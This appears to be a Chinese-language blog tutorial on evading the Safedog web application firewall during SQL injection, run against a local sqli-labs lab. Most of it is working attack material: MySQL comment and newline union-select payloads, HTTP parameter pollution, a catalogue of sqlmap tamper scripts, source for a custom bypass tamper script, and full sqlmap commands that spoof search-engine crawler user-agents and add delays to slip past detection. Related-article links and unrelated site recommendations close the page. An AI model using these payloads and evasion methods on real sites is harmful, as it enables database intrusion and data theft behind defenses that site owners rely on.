#一点补充

在老版本的安全狗中,可通过构造payload:

  1. http://xx.xx.xx.xx/sqli-labs/Less-2/index.php/x.txt?id=1 and 1=1

可通过index.php/x.txt正常解析。

根据mysql的一些特性的payload:

  1. %23x%0aunion%23x%0Aselect%201,2,3
  2. 等价于:
  3. #
  4. union#
  5. select
  6. 1,2,3
  1. %20union%20/*!44509select*/%201,2,3
  2. 等价于:
  3. union /*!44509select*/ 1,2,3
  1. %20/*!44509union*/%23x%0aselect%201,2,3
  2. 等价于:
  3. /*!44509union*/
  4. #select 1,2,3
  5. 这里的44509表示数据库是4.45.09及以上版本才被执行
  1. id=1/**&id=-1%20union%20select%201,2,3%23*/
  2. 等价于:
  3. id=1/**&id=-1 union select 1,2,3*/
  4. 词语句进行了参数污染
  1. %20union%20all%23%0a%20select%201,2,3%23
  2. 等价于:
  3. union all
  4. select 1,2,3#

#sqlmap的waf绕过

sqlmap是一款强大的注入神器,其中有很多功能,且支持拓展。

在tamper目录中有许多脚本,可进行绕过waf。也可自己根据需求向里面添加自己的脚本。

其中默认有一些脚本:

apostrophonemask.py用UTF-8全角字符替换单引号字符

apostrophonenullencode.py用非法双字节unicode字符替换单引号字符

appendnullbyte.py在payload末尾添加空字符编码

base64encode.py对给定的payload全部字符使用Base64编码

between.py分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

equaltolike.py 用“LIKE”运算符替换全部等于号“=”

greatest.py 用“GREATEST”函数替换大于号“>”

halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

lowercase.py 用小写值替换每个关键字字符

modsecurityversioned.py 用注释包围完整的查询

modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

multiplespaces.py 在SQL关键字周围添加多个空格

nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

overlongutf8.py 转换给定的payload当中的所有字符

percentage.py 在每个字符之前添加一个百分号

randomcase.py 随机转换每个关键字字符的大小写

randomcomments.py 向SQL关键字中插入随机注释

securesphere.py 添加经过特殊构造的字符串

sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

space2comment.py 用“/**/”替换空格符

space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符

space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符

space2plus.py 用加号“+”替换空格符

space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

versionedkeywords.py 用MySQL注释包围每个非函数关键字

versionedmorekeywords.py 用MySQL注释包围每个关键字

xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

自定义一个脚本baypasswaf.py到tamper中,源码如下:

  1. import os
  2. from lib.core.common import singleTimeWarnMessage
  3. from lib.core.enums import DBMS
  4. from lib.core.enums import PRIORITY
  5. __priority__ = PRIORITY.HIGHEST
  6. def dependencies():
  7. singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" %
  8. (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
  9. def tamper(payload, **kwargs):
  10. #%23a%0aunion/*!44575select*/1,2,3
  11. if payload:
  12. payload = payload.replace("union", "%23a%0aunion")
  13. payload = payload.replace("select", "/*!44575select*/")
  14. payload = payload.replace("%20", "%23a%0a")
  15. payload = payload.replace(" ", "%23a%0a")
  16. payload = payload.replace("database()", "database%23a%0a()")
  17. return payload

1.配合抓包工具bp进行分析

sqlmap可配合bp进行抓包分析

语句如下:

  1. python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080

2.安全狗通过user-agent拦截,绕过方法

有时候安全狗可能会拦截,因为安全狗可分析日志,指纹,白名单信息等判断是否使用工具注入等。

比如可以通过判断http数据包中的user-agent判断是否时使用工具。

方法一:随机修改数据包中user-agent值

我们可通过构造payload进行绕过,目的是随机修改数据包中user-agent的值

  1. python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --random-agent --dbs

其中--random-agent是随机获取user-agent的值,以达到绕过的目的。

可见user-agent已经被更改

已经绕过且获得数据库名:

问题:安全狗开启CC流量防护,是否sqlmap会被拦截?

会被拦截。

方法二:修改user-agent为搜索引擎的值

在安全狗中有一些爬虫白名单,使用sqlmap时可将user-agent修改为白名单的user-agent以达到绕过效果。

常见网站爬虫user-agent信息:

百度:

  1. Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
  2. Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
  3. Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
  4. Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
  5. Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
  6. Baiduspider-image+(+http://www.baidu.com/search/spider.htm)

神马搜索:

  1. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.36
  2. Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e YisouSpider/5.0 Safari/602.1

谷歌:

  1. Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  2. AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari
  3. Mozilla/5.0 (compatible; Googlebot-Image/1.0; +http://www.google.com/bot.html)

搜狗:

  1. Sogou+web+spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
  2. Sogou+Pic+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
  3. Sogou+News+Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
  4. Sogou+Video+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

360搜索:

  1. Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);
  2. Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider
  3. Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider
  4. 360spider (http://webscan.360.cn)

头条:

  1. Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
  2. Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)
  3. Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)

paylod:

  1. python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --dbs

方法三:添加代理池

方法四:延时注入

通过限制sqlmap的注入时间来绕过waf,加上--delay=times实现

payload:

  1. python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --delay=2 --dbs

方法五:

修改数据包,将其http数据包信息保存至sqlmap目录下,存为一个txt文件,再通过sqlmap通过这个文件来注入。

paylaod:

  1. python sqlmap.py -r test.txt --tamper=bypasswaf.py -proxy=http://127.0.0.1:8080 -tables

方法六:中转注入

简单来说就是sqlmap去注入本地的脚本地址--本地搭建脚本(运行环境)(请求数据包自定义)--来访问远程地址

具体见https://www.cnblogs.com/zhaohzaomumu/p/15087344.html文末。

sqlmap之waf绕过的更多相关文章

  1. WAF绕过神器 (过安全狗、智创SQL注入)

    WAF绕过神器 (过安全狗.智创SQL注入) 发布时间:-- :10文章来源:网络文章作者:panni007 点击次数: 次 分享到: QQ空间 QQ微博 新浪微博 开心网 人人网 摘要:起因: by ...

  2. 渗透测试学习 二十八、WAF绕过详解

    大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...

  3. 各种WAF绕过手法学习

    原文:https://mp.weixin.qq.com/s/aeRi1lRnKcs_N2JLcZZ0Gg 0X00    Fuzz/爆破 fuzz字典 1.Seclists/Fuzzing https ...

  4. sqlmap和burpsuite绕过csrf token进行SQL注入检测

    利用sqlmap和burpsuite绕过csrf token进行SQL注入 转载请注明来源:http://www.cnblogs.com/phoenix--/archive/2013/04/12/30 ...

  5. 从偶然的机会发现一个mysql特性到wooyun waf绕过题

    从偶然的机会发现一个mysql特性到wooyun waf绕过题 MayIKissYou | 2015-06-19 12:00 最近在测试的时候,偶然的机会发现了一个mysql的特性, 为啥是偶然的机会 ...

  6. 16. 再说 WAF 绕过

    1,大小写混排 这可以算最容易想到的方式了.大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即无法绕过,这是最简单的绕过技术. 举例: z.com/ind ...

  7. 基于HTTP协议的WAF绕过

    一,畸形包绕过 1.先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求 2.get请求中空格使用%20代替,Connection改为keep-alive 二,分 ...

  8. sql注入之堆叠注入及waf绕过注入

    #堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...

  9. 文件上传之WAF绕过及相安全防护

    文件上传在数据包中可修改的地方 Content-Disposition:一般可更改 name:表单参数值,不能更改 filename:文件名,可以更改 Content-Type:文件 MIME,视情况 ...

随机推荐

  1. Solution -「AGC 029E」「AT 4504」Wandering TKHS

    \(\mathcal{Description}\)   Link.   给一棵 \(n\) 个点的树,从某个点出发,遍历时必须走到已经走过的连通块所邻接的编号最小的结点.求从每个点出发,走到 \(1\ ...

  2. suse 12 二进制部署 Kubernetets 1.19.7 - 第09章 - 部署kubelet组件

    文章目录 1.9.部署kubelet 1.9.0.创建kubelet bootstrap kubeconfig文件 1.9.1.创建kubelet配置文件 1.9.2.配置kubelet为system ...

  3. MySQL windows下cmd安装操作

    sh1.下载安装包,解压到指定目录  网址:https://dev.mysql.com/downloads/mysql/ 2.添加环境变量 右键点击计算机-属性-高级系统设置-环境变量: 将mysql ...

  4. Hyperledger Fabric 2.x Java区块链应用

    一.说明 在上一篇文章中 <Hyperledger Fabric 2.x 自定义智能合约> 分享了智能合约的安装并使用 cli 客户端进行合约的调用:本文将使用 Java 代码基于 fab ...

  5. (翻译) CAP 理论 FAQ

    CAP 理论 FAQ 0. 关于这个文档 没有其它比CAP理论更引人注意的话题了, 这个FAQ的目的, 是说明对于CAP, 当前哪些是已知的, 并帮助那些刚接触这个理论的人快速了解, 并解决一些错误的 ...

  6. rinetd基于内网TCP端口转发

    在Linux系统中大多数情况选择用iptables来实现端口转发,iptables虽然强大,但配置不便,而且新手容易出错.在此分享另一个TCP/UDP端口转发工具rinetd,rinetd体积小巧,配 ...

  7. 还不会使用linux?快来通过VMware安装centos系统吧~

    1.前言 Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发, ...

  8. python-对于一个用例有多个步骤,转换成1条案例的处理方法

    前言 对于前文写到的以excel数据驱动的框架中,每个用例都是单独的不依赖其他的案例,现在一个用例可能会有多个步骤,按照前面写道的博文中按excel表中逐行取出excel的值,那么一条用例有多个步骤, ...

  9. CobaltStrike逆向学习系列(12):RDI 任务发布流程分析

    这是[信安成长计划]的第 12 篇文章 0x00 目录 0x01 任务构建 0x02 结果处理 0x03 功能 DLL 分析 之前的分析都是针对整个 CS 的框架来进行的,但是功能也是整个 C2 中相 ...

  10. centos7云服务器安装nginx记录

    nginx作为一个web和反向服务器,应用广泛,尤其适合学习c/c++的人进行使用学习,今天就对这个我听了很多的nginx进行了一次安装配置,主要是针对菜鸟教程中的安装引导进行的个人试验.主要的关注点 ...